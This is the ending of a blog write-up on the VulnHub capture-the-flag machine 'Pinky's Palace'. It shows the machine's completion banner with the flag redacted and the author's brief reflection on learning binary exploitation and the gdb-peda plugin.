|  __/ (_| | | (_| | (_|  __/
|_|   \__,_|_|\__,_|\___\___|
[+] CONGRATS YOUVE PWND PINKYS PALACE!!!!!!
[+] Flag: [REDACTED]
[+] Twitter: @Pink_P4nther
[+] Cheers to VulnHub!
[+] VM Host: VMware
[+] Type: CTF || [Realistic]
[+] Hopefully you enjoyed this and gained something from it as well!!!

And the machine was done, I really enjoyed this one and learnt a lot about binary exploitation. I also found out about the gdb-peda plugin which was a bonus!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.